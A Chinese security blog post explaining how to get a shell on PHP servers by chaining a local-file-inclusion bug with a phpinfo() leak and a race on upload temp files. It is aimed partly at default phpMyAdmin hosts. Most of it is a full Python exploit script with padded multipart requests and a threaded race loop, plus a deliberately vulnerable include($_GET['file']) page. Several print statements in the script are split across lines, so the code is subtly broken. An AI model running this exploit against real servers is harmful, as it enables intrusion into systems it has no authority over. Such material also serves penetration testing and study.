讓我們突破重重苛刻環境GetShell，文中有以phpmyadmin包含漏洞做演示。

PS：本文僅用於技術討論與分析，嚴禁用於任何非法用途，違者後果自負。

漏洞背景

當您在發現PHP本地檔案包含漏洞的時候，卻尷尬於沒有上傳點，或者受到base_dir的限制，可以嘗試用如下操作進行突破。

利用條件

1.存在PHP檔案包含漏洞

2.存在PHPINFO洩漏頁面,或者其他debug洩漏,獲取tmp_name值

漏洞復現

演示環境：Windows + php 5.6

0x01:PHP檔案上傳

example：

<?php

if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Error: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Stored in: " . $_FILES["file"]["tmp_name"];
    }
  }
else
  {
  echo "Invalid file";
  }

?>
 

上面的例子在伺服器的 PHP 臨時資料夾建立了一個被上傳檔案的臨時副本，但是並沒有儲存，

上傳檔名以php + random(6) 進行拼接

在給PHP傳送POST資料包時，如果資料包裡包含檔案區塊，無論你訪問的程式碼中有沒有處理檔案上傳的邏輯，PHP都會將這個檔案儲存成一個臨時檔案

這個檔案在生成的瞬間又被刪除，利用條件競爭進行包含

0x02:獲取臨時檔名

phpinfo() 會打印出所有請求的變數，所以我們只需要向phpinfo 傳送 上傳檔案的資料包，就可以獲取到臨時檔名

但是檔案刪除的速度很快，導致條件競爭很難利用，通過學習P牛師傅的文章，

需要用到條件競爭，具體流程如下：

1.php預設的緩衝區大小為4096，每次返回的socket連線為4096位元組

2.因為phpinfo 會打印出所有接收的資料，我們需要傳送垃圾資料，讓Response回顯的內容很大

3.利用原生的socket 建立連線，控制返回，每次只讀取4096位元組，只要獲取到檔名，就立馬傳送第二個資料包

4.此時第一個socket連線並沒有結束，所以可以利用這個時間差，進行條件競爭，利用檔案包含漏洞進行getshell

復現

phpinfo.php

<?php phpinfo();?>

lfi.php

<?php
$a=$_GET['file'];
include($a);
?>

利用指令碼，windows 環境下 //我這邊是windows 環境測試，主要修改切片獲取的檔名，然後根據具體實戰環境去修改REQ1 REQ2

#!/usr/bin/python
import sys
import threading
import socket


def setup(host, port):
  TAG = "Security Test"
  PAYLOAD = """%s\r
<?php file_put_contents('aaa.php','<?php phpinfo();?>');?>\r""" % TAG
  REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
  padding = "A" * 5000
  REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=aqf2ev7vo5puq7bpbnihcs0pbdanfo1j; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
  # modify this to suit the LFI script
  LFIREQ = """GET /ec.php?file=%s HTTP/1.1\r
Cookie: xxxx\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""

  return (REQ1, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.connect((host, port))
  s2.connect((host, port))

  s.send(phpinforeq)
  d = ""
  while len(d) < offset:
    d += s.recv(offset)
  try:
    i = d.index("[tmp_name] =&gt; ")
    fn = d[i + 17:i + 48]
    print(fn)
  except ValueError:
    return None

  s2.send(lfireq % (fn, host))
  d = s2.recv(4096)
  print(lfireq % (fn, host))
  print(d)
  s.close()
  s2.close()

  if d.find(tag) != -1:
    return fn


counter = 0


class ThreadWorker(threading.Thread):
  def __init__(self, e, l, m, *args):
    threading.Thread.__init__(self)
    self.event = e
    self.lock = l
    self.maxattempts = m
    self.args = args

  def run(self):
    global counter
    while not self.event.is_set():
      with self.lock:
        if counter >= self.maxattempts:
          return
        counter += 1

      try:
        x = phpInfoLFI(*self.args)
        if self.event.is_set():
          break
        if x:
          print
          "\nGot it! Shell created in /tmp/g"
          self.event.set()

      except socket.error:
        return


def getOffset(host, port, phpinforeq):
  """Gets offset of tmp_name in the php output"""
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.send(phpinforeq)

  d = ""
  while True:
    i = s.recv(4096)
    d += i
    if i == "":
      break
    # detect the final chunk
    if i.endswith("0\r\n\r\n"):
      break
  s.close()
  i = d.find("[tmp_name] =&gt; ")
  if i == -1:
    raise ValueError("No php tmp_name in phpinfo output")

  print
  "found %s at %i" % (d[i:i + 10], i)
  # padded up a bit
  return i + 256


def main():
  print
  "LFI With PHPInfo()"
  print
  "-=" * 30

  if len(sys.argv) < 2:
    print
    "Usage: %s host [port] [threads]" % sys.argv[0]
    sys.exit(1)

  try:
    host = socket.gethostbyname(sys.argv[1])
  except socket.error, e:
    print
    "Error with hostname %s: %s" % (sys.argv[1], e)
    sys.exit(1)

  port = 80
  try:
    port = int(sys.argv[2])
  except IndexError:
    pass
  except ValueError as e:
    print
    "Error with port %d: %s" % (sys.argv[2], e)
    sys.exit(1)

  poolsz = 10
  try:
    poolsz = int(sys.argv[3])
  except IndexError:
    pass
  except ValueError, e:
    print
    "Error with poolsz %d: %s" % (sys.argv[3], e)
    sys.exit(1)

  print
  "Getting initial offset...",
  reqphp, tag, reqlfi = setup(host, port)
  offset = getOffset(host, port, reqphp)
  sys.stdout.flush()

  maxattempts = 1000
  e = threading.Event()
  l = threading.Lock()

  print
  "Spawning worker pool (%d)..." % poolsz
  sys.stdout.flush()

  tp = []
  for i in range(0, poolsz):
    tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

  for t in tp:
    t.start()
  try:
    while not e.wait(1):
      if e.is_set():
        break
      with l:
        sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
        sys.stdout.flush()
        if counter >= maxattempts:
          break
    print
    if e.is_set():
      print
      "Woot! \m/"
    else:
      print
      ":("
  except KeyboardInterrupt:
    print
    "\nTelling threads to shutdown..."
    e.set()

  print
  "Shuttin' down..."
  for t in tp:
    t.join()


if __name__ == "__main__":
  main()

GetShell:

引數： target_host port thread

此時的aaa.php 並不存在，我將寫入一個aaa.php 內容為

Run:

可以看到，temp已經產生了臨時檔案，（手快抓到的，臨時檔案會很快刪除）

重新整理訪問 aaa.php

實戰場景：

預設phpmyadmin,加phpinfo 探針（某主機預設建站環境）

1.利用phpmyadmin 的檔案包含漏洞，

2.通過探針頁面，傳送上傳包，獲取臨時檔名，

3.條件競爭 getshell

（有大哥可能會問我，為什麼不包含日誌等，因為我遇到了open_basedir，限制很死）

踩坑日記：

mysql寫在tmp的檔案,www使用者無許可權讀取。

open_basedir 限制php包含路徑。

無上傳點，所以利用該漏洞進行突破極限~

PY：記得把py指令碼改改，切片在windows下獲取檔名 會踩坑，用re就好了，有點懶，我就簡單改了一下臨時用，大哥們操作的時候記得改一下。

參考

公眾號:EDISEC 漏洞挖掘(具體連結好像被刪了.....）

https://dl.packetstormsecurity.net/papers/general/LFI_With_PHPInfo_Assitance.pdf

https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

本文作者：echod1， 來自FreeBuf